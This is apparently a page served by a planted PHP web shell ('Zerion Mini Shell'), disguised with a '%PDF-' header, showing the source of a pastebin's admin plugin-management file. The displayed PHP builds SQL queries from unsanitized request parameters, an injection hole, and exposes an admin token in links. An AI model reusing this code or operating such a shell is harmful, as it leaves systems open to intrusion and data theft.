%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/paste.varak.net.old/pages/admincp/
Upload File :
Create Path :
Current File : /www/varak.net/paste.varak.net.old/pages/admincp/admincp.plugins.php

<?php
/*
        __                        ________        
_____ _/  |_  _____   ____   ____ \_____  \______ 
\__  \    __\/     \ /  _ \ /    \  _(__  <_  __ \
 / __ \|  | |  Y Y  (  <_> )   |  \/       \  | \/
(____  /__| |__|_|  /\____/|___|  /______  /__|   
     \/           \/            \/       \/    
Website:  http://atmoner.com/
Contact:  contact@atmoner.com     
          
*/

 
if (!defined("IN_PASTE"))
      die("Access denied!"); 
 
$sub=(isset($_GET["sub"])?$_GET["sub"]:"");

if (!empty($sub)) {

	
} else {


	function getPlugins($where=NULL,$value=NULL){
		global $db;	
		$sql = "SELECT filename, action FROM plugins";
		if($where === 'action')
		$sql .= " WHERE action = '$value' ";
		if($where === 'filename')
		$sql .= " WHERE filename = '$value' ";
		$items = $db->get_results($sql);
 
		foreach ( $items as $obj ){
        		$array[$obj->filename]['filename'] = $obj->filename;
        		$array[$obj->filename]['action'] = $obj->action;
	        }
 
		return $array;
	}

$action = (isset($_GET["action"])?$_GET["action"]:"");

switch ($action) {

	case "deactivate" :
		$db->query("UPDATE plugins SET action='0' WHERE filename= '".$_GET ['filename']."'");
		$startUp->redirect($conf['baseurl'].'/admincp/plugins/?tokenAdmin='.$_COOKIE['tokenAdmin']);
		break;
	case "activate" :
		$count = count (getPlugins('filename',$_GET ['filename']));
			var_dump($count);
		if ($count < 1) {
			// do_sqlquery("INSERT INTO plugins (filename, action) VALUES ('".$_GET ['filename']."',1)",true);
			$db->query("INSERT INTO plugins (filename, action) VALUES ('".$_GET ['filename']."',1)");
		} else {
			// do_sqlquery("UPDATE plugins SET action='1' WHERE filename= '".$_GET ['filename']."'",true);
			$db->query("UPDATE plugins SET action='1' WHERE filename= '".$_GET ['filename']."'");
		}
		$startUp->redirect($conf['baseurl'].'/admincp/plugins/?tokenAdmin='.$_COOKIE['tokenAdmin']);		
		break;
}
 
 
$plugin_list = new phphooks();
$plugin_headers = $plugin_list->get_plugins_header();

$api=array();
$i=0;

 
  foreach ($plugin_headers as $tid=>$plugin_header) { 
			$action = false;		
	foreach ( getPlugins() as $result_row )  
		if ($plugin_header['filename'] == $result_row['filename'] && $result_row['action'] == 1)
			$action = true;
 
		if ($action)
			$api[$i]["active"]="class='active'";
			else
			$api[$i]["active"]="";
		// Name
		$api[$i]["Name"]=$plugin_header['Name'];
		$api[$i]["Version"]=$plugin_header['Version'];
		$api[$i]["Description"]=$plugin_header['Description'];
		$api[$i]["AuthorURI"]=$plugin_header['AuthorURI'];
		$api[$i]["Author"]=$plugin_header['Author'];
		if ($action) {
			$api[$i]["linkAdd"]='<i class="icon-minus-sign"></i> <a href="?action=deactivate&filename=' . $plugin_header['filename'] . '&tokenAdmin='.$_COOKIE['tokenAdmin'].'" title="DESACTIVATE">Desactivate</a>';
			$api[$i]["Use"]='Use it !';
			} else {
			$api[$i]["linkAdd"]='<i class="icon-ok-sign"></i> <a href="?action=activate&filename=' . $plugin_header['filename'] . '&tokenAdmin='.$_COOKIE['tokenAdmin'].'" title="ACTIVATE">Activate</a>';
			$api[$i]["Use"]='';			 
   		}
   
  $i++;   
  } 
$smarty->assign("api",$api);  
 }
 
$hook->addJs('dataTables','jquery.dataTables.js','themes/bootstrap/js/','2');
$hook->addJs('datatablesjs','datatables.js','themes/bootstrap/js/','3'); 

Zerion Mini Shell 1.0